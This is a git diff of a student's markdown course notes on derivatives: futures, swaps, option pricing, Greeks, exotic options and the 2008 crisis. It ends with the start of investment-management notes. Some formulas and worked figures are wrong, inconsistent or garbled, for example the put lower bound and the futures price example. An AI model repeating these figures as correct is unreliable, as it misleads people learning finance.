-- Sum from i=1 to i=40 { 5/1.03^i } + 100 / 1.03^40 = 146.23 -- Divided by the face value to get a conversion factor of 1.4623 - -Consider an 8% coupon bond with 18 years and 4 months to maturity. For the purposes of calculating the conversion factor, the bond is assumed to have exactly 18 years and 3 months to maturity. Discounting all the payments back to a point in time three months from today at 6% per annum (compounded semiannually) gives a value of - -- 3 months from today, the value is 4 (for the last coupon?) + sum from i=1 to i=36 {4 / 1.03^i} + 100 / 1.03^36 = 125.83 -- Discounting to today is 125.83 / (1.03^0.5) = 123.99. Subtract the accrued interest of 2 (3/6 * 4) to get 121.99 - -### Determining Treasury Futures Price - -- 115 quoted bond price, 12% coupon, conversion factor of 1.6, 60 days since last coupon payment, 122 till next coupon payment, 148 after that till contract Maturity -- S0 is the CASH VALUE not the quoted value -- S0 = 115 + (60/182) * 6 = 116.978 -- I = 6e^(-0.1 * (122/365)) = 5.803 -- F0 = (S0 - I)e^(rT) -- F0 = (116.987 - 5.803)e^(0.1 * (270/360)) = 119.211 -- Quoted F0 = 119.711 - total accrued interest = 119.711 - 148/183 * 6 = 114.851 -- Now we need to divide by the conversion factor to get 71.79 - -### Eurodollar - -- a eurodollar is a dollar deposited in a bank outside the USA -- futures on 3-month LIBOR rate (eurodollar deposit rate) -- rate earned on $1 million -- a change in one basis point (0.01) in a eurodollar futures quotes corresponds to a contract price change of $25 (x2500) -- final settlement price is 100 minus actual 3 month LIBOR rate -- quoted on a value of 100 -- long position = receive a rate -- for eurodollar futures lasting beyond two years, forward rates != future rates - - futures settled daily where forward is settled once - - futures settled at the beginning of three-months, FRA settled end of 3 month period - -## Swaps - -- OTC agreement to exchange cash flows in the future. Calculation usually involves the future value of an interest rate, an exchange rate, or another market variables -- You agree to pay a fixed-rate and get paid back a floating rate (e.g. LIBOR or OIS) - -Suppose Apple has an obligation to pay LIBOR + 0.1%. If they purchase a SWAP with CitiBank, they pay CitiBank a fixed rate, say 3%, and receive LIBOR. Therefore, there's a fixed rate of 3.1%. - -Can also convert a fixed rate to a floating if they think interest rates will come down. - -What if we made swaps available for mortgage payers as well? - -### Swap Market - -- Maturity in years -- Bid: how much you would get if you pay the floating -- Ask: how much you would pay to get the floating -- For floating rates, the rate at the beginning of the period determines the rate for the payment at the end of the period - -### Confirmations - -- International Swaps and Derivatives has Master Agreements - -### Comparative Advantage Example - -- AAACorp wants to borrow floating (4% fixed, 6-month LIBOR - 0.1% Floating) - - Pays 120 less in fixed and 70 less in floating -- BBBCorp wants to borrow fixed (5.2% fixed, 6-month LIBOR + 0.6%) - - Spread is 70 basis points in floating compared to 120 in basis -- Swap designed: - - The benefit that needs to be split is: 120 - 70 = 50 basis points - - Think: one corporation has to pay floating to the other, so calculate the fixed rate paid to each other which is the fixed rate + half the benefit. - - BBBCorp borrows floating at +0.6% and pays fixed 4.35% and receives floating - - benefit = 5.2% - 4.95% = 25 basis points - - AAACorp borrows fixed at 4% and pays floating and receives 4.35% - - spread = -0.1% + 0.35% = 25 basis points - - With a financial institution, there is a cut that is taken. That cut is basically split in two. - -### Fixed-for-Fixed Currency Swap - -- Pay 3% on a US dollar principal of 15,000,000 -- Receive 4% on a pound sterling principal of 10,000,000 - -Example - -- GE wants to borrow AUD - - Current rates are 5% for USD and 7.6% for AUD -- Quantas wants to borrow USD - - Current rates are 7% for USD and 8% for AUD -- Swap - - Benefit is (2 - 0.4) = 160 basis points - - Therefore, GE borrows USD at 5%, pays 8% for AUD and gets 6.2% in USD - - Therefore, Quantas borrows AUD at 8%, pays 6.2% USD, and gets 8% AUD - -Example 7.1 - -- swap 3% per annum and receives LIBOR every six months on $100million -- swap has 15 months remaining (3, 9, 15) -- Rate applicable to exchange in 3 months is 2.9% -- Forward LIBOR rates for 3-9 month period and 9-15 month periods are 3.429%, 3.734% -- OIS zero rates are 2.8% for 3 months, 3.2% for 9 months, and 3.4% for 15 months - -Period | 3 months | 9 months | 15 months ---------- | ------------- | ------------ | -------------- -LIBOR | 2.9%| ~3.429% | ~3.734% -PAY | 1.5M | 1.5M | 1.5M -RECEIVE | 1.45 | 1.745 | 1.867 -Calculation | 2.9%/2 \* 100 | 3.429%/2 \* 100 | 3.734%/2 \* 100 - -Discount by the OIS Rate using the continuous compounding formula (Pe^(-rT)). - -Alternatively, value both cashflows as Bonds. - -The value of a swap, is the difference between what you receive and what you pay. - -Example 7.3 and 7.4 - -- Japanese interest rates are 1.5% per annum (continuous) -- USD interest rates are 2.5% -- 3% yen, 4% dollars -- Principals are $10M and 1,200M yen -- Swap lasts more than 3 years -- Exchange rate is 110 yen per dollar -- Get the PV of hte cashflows for each currency and then convert one to the other - -## Mechanics of Options Markets - -- Call = option to buy at strike price by a certain date -- Put = option to sell at strike price by a certain date -- American style = exercised any time during its life -- European style = exercised only at maturity - -### Payoffs - -- Long Call: max loss is the premium, max win is unlimited -- Short Call: max loss is unlimited, max win is the premium -- Long Put: max loss is the premium, max win is the share price - premium -- Short Put: max loss is the drop is share price + premium, max win is the premium - -### Intrinsic Value - -- Max{ Strike minus Stock Price, 0 } - -### CBOE and OTC - -- Flex options -- Binary options -- Credit event binary options -- Doom options - -### Dividends & Stock Splits - -- stripe price K to buy/sell N shares -- n-for-m stock split -- Strike price is mK/n -- no shares is increase to nN/m -- stock dividends is similar manner - -Example - -- call option to buy 100 shares for $20 per share -- 2-for-1 stock split - - strike price of $10 to purchase 200 shares -- 5% stock dividend - - Equivalent to a 1.05-for-1 stock split - - Strike price is 20/1.05 to purchase 105 shares - -### Market Makers - -### Options Margin - -- naked option - -### Warrants - -- right to purchase new shares issued to the right holder - -### Convertible - -- the straight bond cannot be higher than the treasury bond but will approach it as the firm's value rises -- MAX(Value of the bond, value of the shares you could get) + conversion premium - -### Swaptions - -## Midterm Questions - -- FRA 5% LIBOR and receive 7%, semi-annual compounded -- forward rate is 5% -- 5.1% semi-annual -- `1000 * (0.07 - 0.051) / 2 * e^(-0.05(3.5)) = 7.88%` - -## Properties of Stock Options - -### Effect of Variables on Option Pricing - -Variable | c | p | C | P ------------ | --- | -- | -- | --- -S0 | + | - | + | - -K | - | + | - | + -T | ? | ? | + | + -σ | + | + | + | + -r | + | - | + | - -D | - | + | - | + - -Essentially, the european options differ in one way which is that the longer the time to expiration does not guarantee a higher price. - -### Lower Bound for European Call Option Prices; No Dividends - -c>=max{S_0-Ke^{-rT}, 0} - -Is there an arbitrage opportunity if c = 3, T = 1, K = 18, S0 = 20, r = 10%, D = 0? - -3 >= 3.71 - -Strategy: Short stock to get $20. Buy call for $3. Invest $17 at the risk free rate. - -`17^(e(-0.10)(1)) = 18.79` - -Is there an arbitrage when the put premium is $1, T = 0.5, S = 37, r = 5%, K = 40, D = 0? - -p>=max(Ke^{-rT}-S_0,0) - -p = 1 >= 2.01 - -Borrow 38 to purchase put and stock. - -Is there an arbitrage when the call premium is 3, put premium is 1 or 2.25, T = 0.25, S = 31, r = 10%, K = 30, D = 0? - -```math -C + ke^{-rT} = p + S0 -3 + 30e^{-0.1(0.25)} != 2.25 + 31 -32.26 < 33.25 -Strategy -Short stock @31 -sell put 2.25 - +33.25 -Buy call -3 -Buy Bond 32.2 -Left with: .99 -``` - -### American Put Exercised Early - -S = 60, T = 0.25, r = 10%, K = 100, D = 0. What if K = 50? - -- Advantages? Risk-free rate on the current payout -- Disadvantages? - -### American Put Options (No Dividends) - -p>=max(K-S_0,0) - -### Impact of Dividends on the Lower Bounds to Option Prices - -c>=max(S_0-D-Ke^{-rT}) - -p>=max(S_0-D-Ke^{-rT}) - -Need to read Chapter 10 again. - -## Chapter 11 - Trading Strategies Involving Options - -1. Bond plus option to create principal protected note -2. Stock plus option -3. options of the same type (spread) -4. Different types (combination) - -### Principal Protected Note - -- $1000 instrument consisting of - - 3-year zero-coupon bond with principal of $1000 - - 3-year at-the-money call option on a stock portfolio currently worth $1000 - - Play: sell portfolio, buy ATM call, buy bond - -### Bull Spread Using Calls - -- Buy ITM call -- Sell OTM call -- Maximum gain is the higher strike minus the ITM lower strike minus net premium paid -- Maximum loss is the net premium paid - -### Bull Spread Using Puts - -- Buy OTM put -- Sel ITM put - -### Bear Spread Using Calls - -- Buy OTM call -- Sell ITM call -- Net Premium received is the maximum gain - -### Bear Spread Using Puts - -- Buy ITM put -- Sell OTM put - -### Box Spread - -- combination of a bull call spread and a bear put spread -- if european, use present value of strike prices difference -- not necessarily so for american - -
Box Spread Example - -```txt -Long C1 ST <= 40 4060 -Short P1 0 St-40 ST-40 -Short C2 -(40-ST) 0 0 -Long P2 60-ST 60-ST 0 - - 20 20 20 - -Therefore Cost = 20e^(-0.05)(0.5) -``` - -
- -Two options, call and a put, with same underlying asset, strike. maturity. - -At what strike price would they have the same value? - -Answer: graphically or using put-call parity - -### Put-Call Parity - -- Put-call parity theorem is an equation representing the proper relation between put and call prices -- violation implies arbitrage opportunities -- sell high side, buy low side -- invest cash from sell - -C+\frac{X}{(1+r_f)^t}=S_0+P - -### Butterfly Spread Using Calls - -- Long call ITM -- Long call OTM -- Short 2 calls ATM -- Benefit from flat stock -- [Butterfly using Puts](https://www.fidelity.com/learning-center/investment-products/options/options-strategy-guide/long-butterfly-spread-puts) -- Max revenue = Difference between centre and lowest price - -### Calendar Spread Using Calls - -- Short on shorter-dated call -- Long on longer-dated call - -### Strangle or Straddle Combination - -- Make money when volatility is higher -- Purchase OTM Put and OTM Call -- Breakeven stock price is the strike price(s) +- net premiums paid (+ for call and - for put) -- long straddle: buying a call and put at the same strike price - - short straddle: writing the call and put at the same strike price - -### Strip & Strap - -- Strip: Long call and Two long puts -- Strap: Two long calls and one long put - -## Chapter 12 - Binomial Trees - -Series of events where there are two possible outcomes. - -Stock price is currently $20. In three months it will either be $22 or $18. Suppose call option has strike price 1. - -- Delta: shares long for every options shorted -- Value of the portfolio when short a call: -- `20 * delta - f` where f is the value of the option -- At 22, `22 * delta - 1` -- At 18, `18 * delta` -- `22*delta - 1 = 18 * delta` → `delta = 0.25` -- The value in 3 months is 4.5 -- Today, `4.5 * e^-( -0.12*0.25) = 4.367` where risk-free rate is 12% -- Therefore, 20(0.25) - f = 4.367 → f = 0.633 - -- Risk less when `Delta = (fu - fd) / (S0u - S0d)` -- f = (pfu + (1 - p)fd)e^(-rT) -- p = (e^(rt) - d) / (u - d) -- u = the multiplicative factor for an up movement -- d = the multiplicative factor for a down movement - -### Risk-Neutral Valuation - -In a risk-neutral world, stock at time T is worth S0erT. In original example, p = 0.6523 and option value is e-0.12\*0.25(0.6523 \* 1 + 0.3477 \* 0) = 0.633 - -### Two-Step Examples - -Valuing a European Call Option - -![Valuing a Call Option Figure 12.4, page 275](/images/bu-423/binomial-tree-two-step-call-option.webp) - -Valuing a European Put Option - -![Valuing a Put Option Figure 12.7, page 278](/images/bu-423/binomial-tree-two-step-put-option.webp) - -Valuing an American Put Option - -![Valuing an American Put Option Figure 12.8, page 279 ](/images/bu-423/binomial-tree-two-step-american-put-option.webp) - -### Choosing u and d - -- Sigma is the annualized volatility -- `u = e^(sigma sqrt(delta t))` -- `d = 1/u = e^-(sigma sqrt(delta t))` - -### Options on Stock Indices, Currencies, Futures - -- Same process except p is different -- Probability of an up move -- Cash settlement one day later -- S&P 100 and AMEX Major Market Index are examples of a broad indices - -p = (a - d) / (u - d) - -- Non-Dividend: a = e^(r * delta t) -- Index with yield q: a = e^((r-q) * delta t) -- Currency with foreign risk-free rate rf: e^((r-rf) * delta t) -- Futures: a = 1 - -### Time Steps - -- At least 30 time steps are required for good option values -- [DerivaGem](https://www-2.rotman.utoronto.ca/~hull/software/index.html) allows up to 500 time steps - -## Chapter 18 - Binomial Trees in Practice (DerivaGem) - -- approximate movements in the price of a stock or other asset -- for each small interval of time (delta t), stock moves up _u_ or down _d_ -- tree parameters for a non-dividend paying stock: volatility, risk-free rate, stock price - -### Custom Derivative Payoff Example - -- S0 = 20 -- Sigma = 25% -- r = 5% -- T =6mo -- Time step = 3 mo -- Payoff = MAX(S^2 - 400, 50) -- Using the two-step example, we get a price of $103 - -### Put Example Delta Shares Short - -- Delta = (2.16 - 6.96) / (56.12 - 44.55) = -0.41 (the payoff from the next step) -- As time passes, delta will change (delta hedging) - -## Chapter 13 - Black-Scholes-Merton Model - -- Assumptions - - The assumption in equation (13.1) implies that the stock price at any future time has a lognormal distribution. - - Volatility on the underlying is known and constant - - price of a European call option as the time step tends to Zero - - mean \mu is the expected return and \sigma is volatility - - Delta S / S is the stock return which is normal distributed - -### Lognormal Property - - - -Standard deviation: - - - -Therefore the normal distribution, \phi [mean, variance], Is - - - -or - - - -Example - -- N = 16%, std = 35%, S0 = $38 -- Calculate probability that a european call option with k = %40 and maturity 6 months out will be exercised -- P(S_T > 40) -- Use online distribution calculator to figure it out - -### Estimating Volatility from Historical Data - -1. Take observation S_0, S_1, S_n at intervals of Tau years (for weekly data, Tau = 1/52) -2. Calculate the continuously compounded return in each interval as: `mu_i = ln (S_1 / S_{i - 1})` -3. Calculate the standard deviation, s, of the mu_i's -4. Historical volatility estimate is: \sigma \hat = s / (sqrt ( Tau)) - -- Tau decision: need as many observations as possible -- With daily, lots of noise -- Period has to be big enough period for validity -- Need more than 30 observations - -### Black-Scholes Formulas - -European Call - - - -European Put - - - -d1 variable - - - -d2 variable - - - -The variable mu does not appear in the black-scholes equation. It is independent of all variables affected by risk preference. Consistent with risk-neutral valuation principle. - - - -- N(d2) is the probability of exercising - -With dividends, need to substitute the stock price with the stock price minus the dividends paid through the maturity - -### Implied Volatility - -- The volatility that makes the model price the derivative the same as the market price. -- If two options with the same underlying have different implied volatilizes, something might be overpriced/underpriced - -## Chapter 15 - Options on Stock Indices and Currencies - -- Most popular in the U.S.A are S&P 100 (OEX, XEO), S&P 500 (SPX), DOW times 0.01 (DJX), NASDAQ 100 (NDX) -- Contracts are settled on 100 times the index in cash OEX is American whereas the others are European - -### Example 15.1 - -- Portfolio Beta of 1.0 -- Value is $500,000 -- Index at 1,000 -- What trade is necessary to provide insurance to prevent value from falling below $450,000 - -### Example 15.2 - -- Portfolio has Beta of 2.0 -- Value is $500,000 -- Index at 1,000 -- rf = 12% per annum -- dividend yield on both is 4% -- How many put options to purchase on the index at the strike? - -How to solve? - -1. Find relationship of portfolio to index. - - The portfolio return is the value that fell plus the pro-rated dividends that was received - - Then use this return to calculate the situational return on the index and subtract the dividend yield - - Do do this use CAPM formula - - This nominal value on the index is the strike price we want to purchase of the put -2. Find number of puts to purchase - - Put options to purchase to cover the initial portfolio: `Beta \* ValueOfPortfolio / (ValueOfIndex * 100)` where values are the initial values - -### Currency Options - -- NASDAQ OMX -- Used for buying insurance when exposed to FX -- Lower bound is equivalent to european options with dividends - -c>=max(S_0e^{-r_fT}-Ke^{-rT}, 0) - -p>=max(Ke^{-rT}-S_0e^{-r_fT}, 0) - -### Range Forward - -## Chapter 16 - Futures options and Black's Model - -- American and expires a few days before the earliest delivery -- When a call futures option is exercises - - The Holder acquires - 1. A long position in the futures - 2. A cash amount equal to excess of the futures price at the most recent settlement over the strike price - -### Example 16.1 - -- July call option on gold futures with a strike of $12000 per ounce. Exercised when futures price is 1,240 and recent settlement of 1,238. One contract is 100 ounces -- Trader receives: one long July contract on gold and (1238 - 1200) * 100 = 3800. - -### Example 16.2 - -- September put option on corn 300 cents per bushel -- exercised when futures is 280 cents per bushel with recent settlement of 279 cents per bushel -- Trader received: long short futures on the corn contract and 21 cents per bushel in cash - -### Immediately Selling the Future Payoff - -- Payoff from call = F - K -- Payoff from put = K - F - -### Advantages of Future Options over Spot Options - -- futures may be easier to trade -- no delivery -- futures and options trade on the same exchange -- futures options may entail lower transaction costs - -### European Futures Options - -- the futures option and spot options are equal at maturity -- spot options are regarded as futures options when valued over the counter -- when futures prices decrease with maturity, American call futures are worth less than the corresponding American call on the underlying asset -- American futures options are never equal to European futures options unless it's the last day of exercising - -### Put-Call Parity for European Futures Options - -c+Ke^{-rt}=p+F_0 e^{-rt} - -### Binomial Riskless Futures Option Pricing - -- 1 month out -- 3Delta - 4 = 2 Delta → Long Delta futures of 0.8 -- With a risk-free rate of 6%, the value of the portfolio is (2 * 0.8)e^{-0.06/12} = -1.592 -- Value of the options must be 1.592 since the value of the futures is 0 - -The portfolio is risk-less when - - - -## Chapter 17 - The Greek Letters - -- Delta = change in option price with relation to underlying -- Vega or Lambda: change in option price with relation to underlying implied volatility - - if volatility goes up and price of underlying stays the same, both the put and call options go up in price -- Theta: change in option price with relation to time - - If gamma and delta are 0, then the portfolio is risk-neutral and should be appreciating at the risk-free rate -- Rho: change in option price with relation to interest rate -- Gamma: Change in option's **delta** in relation to stock price change (2nd derivative) - - Positive for long puts and calls since if price goes up, delta will go up for call obviously, but also up for put since less short is needed in underlying - -### Stop-Loss Strategy - -- assuming a naked call position -- buying 100,000 shares as soon as price reaches $50 -- selling 100,000 shares as soon as price falls below $50 -- if the stock fluctuates around the strike price of 50, then this strategy loses lots of money due to buying high and selling low - -### How Delta-Hedging Works - -If we hold a short call position and hold delta shares, why are we doing so? When the underlying's value goes up, we lose delta in the short call options, but we also gain on the underlying shares. - -- delta on a european non-dividend call is N(d1) - - european non-dividend put: N(d1) - 1 -- As time to maturity decreases, delta of out the money calls increases, and in the money calls decreases -- Buy high sell low - -### Example 17.1 - -- A bank has sold for $300,000 a European call option on 100,000 shares of a non-dividend- paying stock -- S0 = 49, K = 50, r = 5%, s = 20%, -- T = 20 weeks, m = 13% -- The Black-Scholes-Merton value of the option is $240,000 -- How does the bank hedge its risk to lock in a $60,000 profit? - -### Gamma Addresses Delta Hedging Errors Caused by Curvature - -- greatest for options at the money -- Tau = portfolio value -- change in gamma = Theta times change in time + 0.5 Tau change in share price squared - -### Managing Delta, Gamma, and Vega - -Gamma and Vega require taking a position in the options themselves. - --- | Delta | Gamma | Vega --- | ------- | --------- | -------- -Portfolio | 0 | -5000 | -8000 -Option 1 | 0.6 | 0.5 | 2.09T11 -Option 2 | 0.5 | 0.8 | 1.2 - -What position in option 1 and the underlying asset will make the portfolio delta and gamma neutral? Answer: Long 10,000 options, short 6000 of the asset - -What position in option 1 and the underlying asset will make the portfolio delta and vega neutral? Answer: Long 4000 options, short 2400 of the asset - -What position in option 1, option 2, and the asset will make the portfolio delta, gamma, and vega neutral? -We solve - -```txt - −5000+0.5w1 +0.8w2 =0 - −8000+2.0w1 +1.2w2 =0 -to get w1 = 400 and w2 = 6000. We require long positions of 400 and 6000 in option 1 and option 2. A short position of 3240 in the asset is then required to make the portfolio delta neutral -``` - -### Rho - -Rho is the rate of change of the value of a derivative with respect to the interest rate - -### Hedging in practice - -- become delta-neutral at least once a day -- whenever opportunities arise, improve gamma and vega -- hedging becomes less expensive as a portfolio gets larger - -### Greek Letters When Underlying has a Yield - -See slide 32 of slide deck 17 (or see page 381) - -### Futures for Delta Hedging - -futures is e^{-(r-q)T} times the position required in the spot contract - -### Synthetic Option - -- take positions that match the greeks of the option - -### Portfolio Insurance - -- Sell enough of the portfolio or index futures to match the delta of the put option (e.g. October 1987) -- As portfolio value increases, delta goes down and so original portfolio is repurchased to some extent -- As portfolio value decreases, more of portfolio is sold - -## Chapter 22 - Exotic Options - -- Packages -- Nonstandard American options -- Gap options -- Forward start options -- Cliquet options -- Compound options -- Chooser options -- Barrier options -- Binary options -- Lookback options -- Shout options -- Asian options -- Options to exchange one asset for another -- Options involving several assets - -### Packages - -- Portfolios of standard options -- Examples from Chapter 11: bull spreads, bear spreads, straddles, etc -- Example from Chapter 15: Range forward contracts -- Packages are often structured to have zero cost - -### Nonstandard American options - -- Bermudan: exercisable on specific dates -- initial lock out period -- strike price changes over life - -### Gap Options - -- Call option pays (ST - K1) when (S > K2) -- Put option pays (K1 - ST) when (S < K2) -- Valuation formula found in Chapter 22 - -### Forward Start Options - -- Option starts at a future time T -- Often structured so that strike price equals asset price at time T -- Planning to give employees at-the-money options in each future year can be regarded as a series of forward start options - -### Cliquet Option - -- rules determine how the strike price is determined -- for example, 20 at-the-money three-month options (total life of five years) -- When one option expires, a similar one comes into existence - -### Compound Options - -- An option on an option -- Call on call -- Put on call -- Call on put -- Put on put -- Very sensitive - -### Chooser Options - -- start at 0, mature at T2 -- at T1, buyer can choose whether the option is a put or a call -- this is a package -- p = c + e^{-r(T2-T1)}K - S1 e^{-q(T2-T1)} -- At T1, c + e^{-q(T2-T1)} max(0, Ke^{-(r-q)(T2-T1)} - S) -- call maturing at T1 plus put maturity at T1 - -### Barrier Options - -- in: option comes into existence only if asset price hits barrier before option maturity -- out: option are knocked out if asset price hits barrier before option maturity -- up: asset price hits barrier from below -- down: asset price hits barrier from above -- eight possible combinations (put or call) -- parity - - c = cui + cuo - - c = cdi + cdo - - p = pui + puo - - p = pdi + pdo - -### Binary Options - -- Cash-or-nothing: pays Q if S > K at time T. Value = e^{-rT}QN(d2) -- Asset-or-nothing: pays S if S > K at time T, or nothing. Value = S0e^{-qT}N(d1) - -### Lookback Options - -- Floating call: Pays `Stock at time T – Stock minimum` at time T - - Allows buyer to buy stock at lowest observed price in some interval of time -- Floating put: pays `Stock max - Stock at time T` at time T - - Allows buyer to sell stock at highest observed price in some interval of time -- Fixed call: pays maximum observed asset price minus strike price -- Fixed put: pays strike price minus minimum observed asset price - -### Shout Options - -- Able to lock in a price once during the life -- Usually pays like a call or a put but also the intrinsic value at the shout time - -### Asian Options - -- Payoff related to average stock price -- average price - -### Options to Exchange - -- One asset for another -- Payoff is price difference between the assets - -### Basket Options - -- option on the value of a portfolio - -### Mortgage-Backed Securities - -- Pass-Through -- Collateralized Mortgage Obligation (CMO) -- Interest Only (IO) -- Principal Only (PO) - -### Variations of Interest Rate Swaps - -- different principles -- different payment frequencies -- floating for floating or fixed for fixed - -### Compounding Swaps - -- Business Snapshot 22.2 -- Interest is compounded instead of paid - -### Complex Swaps - -- LIBOR-in-arrears swaps -- CMS and CMT swaps -- Differential swaps - -### Equity Swaps - -- Business Snapshot 22.3 -- Total return on equity index is exchanged for a fixed or floating return - -### Embedded Swaps - -- Accrual swaps -- Cancelable swaps -- Cancelable compounding swaps - -### Other Swaps - -- Indexed principal swap -- Commodity swap -- Volatility swap -- Bizarre deals: P&G 5/30 swap -- P&G receiving 5.3% interest on $200M for 5 years semi-annually -- P&G would pay back the 30-day commercial paper rate minus 75 basis points plus spread -- spread = max (0, 98.5 * (5 year commercial constant maturity rate) / (5.78%) - 5 year treasury price) / 100 - -### Chapter 8 - Secularization - -- traditionally loans are funded via deposits -- loans can increase much faster than deposits -- Assets are combined and sold in tranches - - Senior Tranche 80% (ABSs) - AAA - - Mezzanine Tranche (15%) - BBB - ABS CDO Created - - Senior Tranche (65%) - AAA (does not convey actual risk) - - Mezzanine Tranche (25%) - BBB - - Equity Tranche (10%) - - Equity Tranche - Not Rated - - Bankruptcies wipe out from equity first -- Asset cash flows go first to senior, then mezzanine, then equity - -### What Led to the Financial Crisis - -- Starting in 2000, mortgage originators relaxed lending standards and created large subprime first mortgages -- demand for real estate and prices rose -- 100% mortgage -- ARMs -- teaser rates -- no income, no job, no assets (NINJAs), ARMs, teaser rates, liar loans, **non-recourse borrowing** (repossession) - -### What was not accounted for - -- Default correlation increase in stressed market conditions -- Recovery rates are less in stressed market conditions -- Tranche with a certain rating cannot be equated with a bond with the same rating - - BBB tranches used to create ABS CDOs were 1% wide nad had all or nothing distributions - - not the same as the loss distribution for a BBB bond - -### Regulatory Arbitrage - -- capital required to keep for the tranches was less than the mortgages themselves -- mortgage originators: only cared about originating mortgages that can be securitized -- Valuers: under pressure to provide high valuations to keep business -- traders: focused on year-end bonus and not long term - -### Aftermath of Financial Crisis - -- Banks required to hold more equity capital with the definition of equity capital being tightened -- Banks required to satisfy liquidity ratios -- CCPs and SEFs for OTC derivatives -- Bonuses limited in Europe -- Bonuses spread over several years -- Proprietary trading restricted - -## Chapter 25 - Derivative Mishaps - -### Losses by Non-Financial Corporations - -- Allied Lyons ($150M) -- Gibsons Greeting ($20M) -- Hammersmith and Fulham ($600M) -- Metallgesellschaft ($1.8B) - - Promised client long term supply of oil at certain prices - - Sold hedge at the bottom and then the hedge was useless -- Orange County ($1.6B) - - Robert L. Citron was making excess returns - - Reverse repos - - Borrowed money in short-term and invested in short-term markets - - Took new assets and put them up as collateral to buy in long-term securities -- Procter and Gamble ($90M) -- Shell ($1B) -- Sumitomo ($2B) - - Trader at Sumitomo was trying to recoup losses through copper - -### Losses by Financial Institutions - -- Allied Irish Banks ($700M) -- Amaranth ($6B) -- Barings ($1B) -- Enron's counterparties (billions) -- Kidder Peabody ($350M) -- LTCM ($4B) - - high leverage - - exposure to 1997 Asian financial crisis and 1998 russian financial crisis -- Midland Bank ($500M) -- Societe Generale ($7B) -- Subprime mortgages (tens of billions) -- UBS ($2.3B) - -## Chapter 19 - Volatility Smiles - -For options with some maturities, the implied volatility versus the strike price makes a smile. diff --git a/content/posts/university/bu-473-investment-mangement.md b/content/posts/university/bu-473-investment-mangement.md deleted file mode 100644 index 92143eb4e..000000000 --- a/content/posts/university/bu-473-investment-mangement.md +++ /dev/null @@ -1,1546 +0,0 @@ ---- -title: "BU 473 Investment Management" -date: 2023-05-09T15:25:11-04:00 -draft: false -tags: - - university - - finance - - investing -summary: "Comprehensive notes for BU 473 Investment Management, covering asset classes, trading, risk and return, CAPM, APT, bonds, interest rates, financial analysis, options, and futures." ---- - -Bruce Everitt - -{{< toc >}} - -## Asset Classes and Financial Instruments - -Real Assets Versus Financial Assets -Real Assets -Has productive capacity -Financial Assets - -- Claims on real assets - - Do not directly contribute to productive capacity - - Fixed-Income Securities - - Equity - - Derivatives -- Other Investments - - Currency - - Commodity and derivative markets -- Financial Markets and the Economy - - Informational role - - Collective judgment determines stock prices - - Consumption timing - - Separate decisions concerning that otherwise would be imposed by current earnings - - Allocation of risk - - Risk preferences -- Agency Problems - - Tying compensation to stocks - - Monitoring from board of directors - - Monitoring from large investors and security analysts - - Takeover threat for poor performers - - Takeover threat for poor performers Financial Markets - - Money Market - - Short-term securities (< 1 year) - - Capital markets - - Long-term bond - - Equity markets - - Derivative markets -- The Money Market - - T-Bill Yields - - Bank-discount method - - Based on par value (face value) as a denominator and 360 days in a year - - Bond-equivalent yield - - Yield is computed based on current price or the purchase price as a denominator and 365 days in a year -- Commercial paper - - Bonds issued by highly rated companies -Bankers’ Acceptances - - Second only to T-bills in terms of default security - - Canadian Dealer Offered Rate (CDOR) - - Bank guarantees that the debt obligation will be fulfilled - - Inflation-Protected Bonds – TIPS or RRB -- Taxable vs. Tax-Exempt Bonds -r * (1-t) > rm - - rm: municipal bond rate -Corporate Bonds - - Semi-annual interest payments - - Callable - - Issuer can exercise the call option to buy the bond back - - Poisoned put - - Forces takeover to buy the bond - - Retractable and extendible - - Modifying the maturity date - - Convertible - - Bond holder can convert bond to equity -- Common Stock eQuity - - Residual claim - - Limited liability -- Dividend yield - - Annual dividend / stock price as a percent -- Capital Gains - - P – C - -P-E ratio - -What is should be versus what it is. -Payout ratio over (ke – g). Or (1- retention ratio) / (ke – g) -= (1-r)/(k_f+β(mrp)-g) - -Sustainable growth: based on what is retained, times the return on earnings? - -ROE = Earnings / Book Value - -Preferred Stocks - -Cumulative means that missed payments are still owed. -With non-cumulative preferred shares, company does not have to pay the missed payments ever. - -Shares become voting at default payment to preferred shares - -- Income Trusts - - Usually stable revenues -- ADR - - American Depository Receipts - - Trade foreign companies within the USA -- Indexes - - S&P/TSX - - S&P/TSX 60 Index - - S&P/TSX MidCap and SmallCap - - S&P/TSX Venture Index -- The DOW is **price-weighted** (not value weighted) and it's divisor accounts for stock-splits - - price-weighted is where you take the sum of prices and divided it by a divisor (given) - - the return of a price-weighted index is based of the index and not the individual returns - -- Futures vs. Options - - Future: obligation, option: right - -## Securities Trading - -### How Firms Issue Securities - -- Prospectus -- Preliminary registration statement filed with the Securities and Exchange Commission -- Initial Public Offerings - - The primary market is where new securities are issued for the first time, while the secondary market is where previously issued securities are traded between investors. - - Road show to publicize new offering - - Bookbuilding to determine demand - - Degree of investor interest provides valuable pricing information - - Underwriter bears price risk - - IPOs are commonly underpriced - - Twitter - - Some IPOs are well overpriced - - Facebook - - Retail investor interest lasts only for 2 days. Institutions always drive volume - -over-allotment: when all equity is sold so banks want more to sell - -underwriter takes the risk - -### Types of Orders - -- Market order: buy or sell -- price-contingent order: - - Limit buy (sell) order to buy at below (above) specified price -- large order filled at multiple prices - -### Trading Strategies - -- Algorithmic trading -- High-frequency trading - - HIgh volume low profit -- Dark pools - - private trading systems in which participants can buy or sell large blocks of securities without showing their hand - -### Trading Costs - -- Explicit cost - - Commission -- Implicit costs - - Dealer's bid-ask spread - - Price concession an investor may be forced to make for big quantities - - Buying board lots is prioritized than fractional - -### Trading with Margin and Short Sales - -- Margin is collateral that is on the brokerage platform - - total funds is the collateral (equity) plus the debt -- Initial margin is usually 50% - - Maintenance margin - - When equity is 30%, add more money - - How far can a stock price fall before a margin call? - -- P = Purchase Price * (1 - initial margin) / (1 - maintenance margin) -- P =(Sell Price * (1 + initial margin)) / (1 + maintenance margin) - -- equity required = initial margin * value - value + borrowed = 1,800 -- equity total required = 0.6 * value - -### Leverage - -Multiplier effect - -### Short Sale - -Benefit when price goes down. - -### Insider Trading - -- Someone trading on information not profitable -- Most common is spouse of someone on legal team - -### Debt Yields - -- Bank Discount Yield - - Discount / Face Value \* 360 / Maturity Days -- Price based on a bank discount yield - - Face value - face value \* yield \* (days / 360) - - If based on a bond yield, use 365 days -- Holding period return - - The delta you get back divided by the price you paid for it -- Effective annual yield - - The holding period return but compounded to a year (365) - - Suppose a holding period return is 3% for 90 days, what is the effective annual yield? - - (1 + 0.03) ^ (365 / 91) - 1 = 12.59% -- Bond equivalent yield - - Ignore effect of compounding (multiply annual holding period return) - - 365 day yield but linear instead of compounded - - 